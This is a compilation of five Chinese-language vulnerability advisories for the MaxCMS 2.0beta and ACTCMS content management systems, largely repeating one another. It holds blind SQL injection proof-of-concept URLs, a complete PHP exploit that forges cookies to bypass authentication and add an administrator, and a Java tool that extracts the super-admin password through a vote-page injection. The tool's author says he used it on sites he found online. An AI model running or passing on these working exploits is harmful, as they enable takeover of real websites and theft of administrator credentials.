以下是小编整理的马克斯CMScookies注入漏洞漏洞预警,本文共5篇,仅供参考,希望能够帮助到大家。

篇1:马克斯CMScookies注入漏洞漏洞预警
漏洞文件:admin/admin_inc.asp
代码如下:
Sub checkPower //第103行
dim loginValidate,rsObj : loginValidate = “maxcms2.0”
err.clear
on error resume next
set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username=''”&rCookie(“m_username”)&“''”,“execute”)
rCookie函数在文件inc/CommonFun.asp中
Function rCookie(cookieName) //第28行
rCookie = request.cookies(cookieName)
End Function
rCookie函数仅从cookie读取数据没做任何过滤,导致cookie注入漏洞的产生,
马克斯CMS最新cookies注入漏洞漏洞预警
,
测试方法:修改cookies值注入.
篇2:马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,
看代码
\inc\ajax.aspdim action : action = getForm(“action”, “get”)response.Charset=“gbk”Select case action case “newslist” : viewNewsList case “newscontent” : viewNewsContent case “digg”,“tread” : scoreVideo(action) case “reporterr” : reportErr case “hit” : updateHit case else : mainEnd SelectterminateAllObjects……Sub scoreVideo(operType) dim sql,id,digg,returnValue : id=getForm(“id”,“get”) ‘通过get方式获取id的值 if rCookie(“maxcms2_score”&id)=“ok” then die “havescore” if isNul(id) then die “err” 'on error resume next digg=conn.db(“select m_digg from {pre}data where m_id=”&id,“execute”)(0) ‘ 参数id,没有过滤就带入sql语句进行查询 if err then digg=0 : err.clear if not isNum(id) then echoSaveStr “safe” else id=clng(id) ‘ 查询到digg,注意返回的内容……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了,
如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 不正确的:demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
篇3:马克斯CMS2.0beta (maxcms)SQL注入和管理员认证绕过漏洞漏洞预警
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,
看代码
\inc\ajax.asp
dim action : action = getForm(“action”, “get”)
response.Charset=“gbk”
Select case action
case “newslist” : viewNewsList
case “newscontent” : viewNewsContent
case “digg”,“tread” : scoreVideo(action)
case “reporterr” : reportErr
case “hit” : updateHit
case else : main
End Select
terminateAllObjects
……
Sub scoreVideo(operType)
dim sql,id,digg,returnValue : id=getForm(“id”,“get”)
‘通过get方式获取id的值
if rCookie(“maxcms2_score”&id)=“ok” then die “havescore”
if isNul(id) then die “err”
'on error resume next
digg=conn.db(“select m_digg from {pre}data where m_id=”&id,“execute”)(0)
‘ 参数id,没有过滤就带入sql语句进行查询
if err then digg=0 : err.clear()
if not isNum(id) then echoSaveStr “safe” else id=clng(id)
‘ 查询到digg,注意返回的内容
……利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
不正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
管理员认证绕过漏洞
maxcms后台有自动升级功能,ajax的那个注射被修补了,但是这个漏洞还是没有修补。在上一贴有同学问是否能绕过认证,答案是肯定的,但是前提是要知道后台目录地址
回顾下漏洞代码
Sub checkPower dim loginValidate,rsObj : loginValidate = “maxcms2.0” err.clear on error resume next set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username='”&rCookie(“m_username”)&“'”,“execute”) loginValidate = md5(getAgent&getIp&rsObj(0)) if err then wCookie “check”&rCookie(“m_username”),“” : die “” if rCookie(“check”&rCookie(“m_username”))loginValidate then wCookie “check”&rCookie(“m_username”),“” : die “” checkManagerLevel rsObj(1) set rsObj=nothing End Sub 其中
Function rCookie(cookieName) rCookie = request.cookies(cookieName) End Function 关键就是这个变量的值 loginValidate = md5(getAgent&getIp&rsObj(0))
通过伪造cookie可以轻松绕过这段认证代码,之后就可以添加新管理员或者修改配置文件插入一句话木马
我这里贴一个添加新管理员的exp
< 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host: target server (ip/hostname) path: path to maxcms Example: php '.$argv[0].' localhost /maxcms2/ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $name = rand(1,10000); $cmd = 'm_username=flyh4t'.$name.'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0'; $resp = send($cmd); if (!eregi('alert',$resp)) {echo“[~]bad luck,exploit failed”;exit;} print_r(' +---------------------------------------------------------------------------+ [+]cool,exploit seccuss [+]you have add a new adminuser flyh4t'.$name.'/wolvez +---------------------------------------------------------------------------+ '); function send($cmd) { global $host, $path; $message = “POST ”.$path.“admin/admin_manager.asp?action=add HTTP/1.1”; $message .= “Accept: */*”; $message .= “Referer:$host$path
”; $message .= “Accept-Language: zh-cn”; $message .= “Content-Type: application/x-www-form-urlencoded”; $message .= “User-Agent: flyh4t”; $message .= “X-Forwarded-For:1.1.1.1”; $message .= “Host: $host”; $message .= “Content-Length: ”.strlen($cmd).“”; $message .= “Cookie: m_username=flyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checkflyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=7728a57dcd5ae1e69cf0aee02ba66de6”; $message .= “Connection: Close”; $message .= $cmd; echo $message; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); echo $resp; return $resp; } ?>发布日期:-07.19
发布作者:flyh4t
影响版本:马克斯CMS2.0beta
官方地址:maxcms.net
篇4:ACTCMS注入漏洞漏洞预警
一款ASP的CMS程序,用的人并不是太多。
GOOGLE一下关键字“Copyright @ www.actcms.com” ,不是太多。
今天看了一下代码。
基本上所有的参数全都被过滤掉了。。
不过投票那里出了点小问题。。
在/plus/vote/vote.asp页面。
代码如下:
ASP/Visual Basic代码
....
if request(“voted”).count=0 then
response.write “”
response.end
end if
for i=1 to request(“voted”).count
actcms.actexe(“Update vote_act set VoteNum=VoteNum+1 where id=”&request(“voted”)(i))
next
....
response.Redirect “index.asp?id=”&id&“”
id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。
唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。
代码如下:
Java代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ActCmsGetPwd {
public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',
'9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z' };
public static String siteurl = “”;
public static int voteid = 1;
public static String charset = “”;
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out
.println(“usage:java ActCmsGetPwd System.out.println(“siteurl:目标站点”); System.out.println(“voteid:投票id”); System.out .println(“totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id= System.out.println(“charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码”); System.out.println(“eg:java ActCmsGetPwd www.abc.com/ 1 15 gb2312”); return; } siteurl = args[0]; voteid = Integer.parseInt(args[1]); int preVoteNum = Integer.parseInt(args[2]); charset = args[3]; System.out.println(“Code by Ninty , QQ 3191864”); System.out.print(“password is :”); for (int i = 1; i <= 16; i++) { System.out.print(send(i, 0, preVoteNum)); preVoteNum++; } System.out.println(“\nDone!”); } public static char send(int a, int b, int preVoteNum) throws Exception { String sql = “%20and%20(select%20top%201%20mid(password,” + a + “,1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'” + arr[b] + “'”; URL u = new URL(siteurl + “/Plus/vote/vote.asp?dopost=send&id=”+voteid+“&ismore=0&voted=3” + sql); URLConnection conn = u.openConnection; BufferedReader reader = new BufferedReader(new InputStreamReader(conn .getInputStream(),charset)); String str = reader.readLine(); while (str != null) { if (str.indexOf(“ 投票人数:”) != -1) { break; } str = reader.readLine(); } reader.close(); if (!isRight(str, preVoteNum)) { return send(a, ++b, preVoteNum); } else { return arr[b]; } } public static boolean isRight(String str, int preVoteNum) { if (str == null) { System.out.println(“无法读取!”); System.exit(0); } Pattern pat = Pattern.compile(“人数:(\\d+)”); Matcher mat = pat.matcher(str); if (mat.find()) { int num = Integer.parseInt(mat.group(1)); if (num != preVoteNum) { return true; } } return false; } }
下面是已经编译好的 class文件,编译环境JDK6,
直接运行就好。
actcmsgetpwd.class
在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。
篇5:马克斯CMS2.0beta (maxcms)SQL注入漏洞
作者:flyh4t
bbs.wolvez.org
关键字:首页-马克斯CMS2.0
这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,
看代码
\inc\ajax.asp
dim action : action = getForm(“action”, “get”)
response.Charset=“gbk”
Select case action
case “newslist” : viewNewsList
case “newscontent” : viewNewsContent
case “digg”,“tread” : scoreVideo(action)
case “reporterr” : reportErr
case “hit” : updateHit
case else : main
End Select
terminateAllObjects
……
Sub scoreVideo(operType)
dim sql,id,digg,returnValue : id=getForm(“id”,“get”)
‘通过get方式获取id的值
if rCookie(“maxcms2_score”&id)=“ok” then die “havescore”
if isNul(id) then die “err”
'on error resume next
digg=conn.db(“select m_digg from {pre}data where m_id=”&id,“execute”)(0)
‘ 参数id,没有过滤就带入sql语句进行查询
if err then digg=0 : err.clear()
if not isNum(id) then echoSaveStr “safe” else id=clng(id)
‘ 查询到digg,注意返回的内容
……
利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告
你提交的数据有非法字符,你的IP【xxxx】已被记录,操作
构造的语句不正确,则返回500
Poc :
正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
不正确的:
demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99
其实随便找个注射工具跑一下就ok了
另外一处注射
Sub checkPower
dim loginValidate,rsObj : loginValidate = “maxcms2.0”
err.clear
on error resume next
set rsObj=conn.db(“select m_random,m_level from {pre}manager where m_username='”&rCookie(“m_username”)&“'”,“execute”)
loginValidate = md5(getAgent&getIp&rsObj(0))
if err then wCookie “check”&rCookie(“m_username”),“” : die “”
if rCookie(“check”&rCookie(“m_username”))loginValidate then wCookie “check”&rCookie(“m_username”),“” : die “”
checkManagerLevel rsObj(1)
set rsObj=nothing
End Sub
其中
Function rCookie(cookieName)
rCookie = request.cookies(cookieName)
End Function
通过伪造cookie中m_username的值可以进行注射
不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp
★阿曼达企业网站系统 cookie 注入漏洞0day漏洞预警
★iShowMusic V1.2 写入shell漏洞漏洞预警
★启航企业建站系统 cookie注入漏洞通杀所有版本漏洞预警
文档为doc格式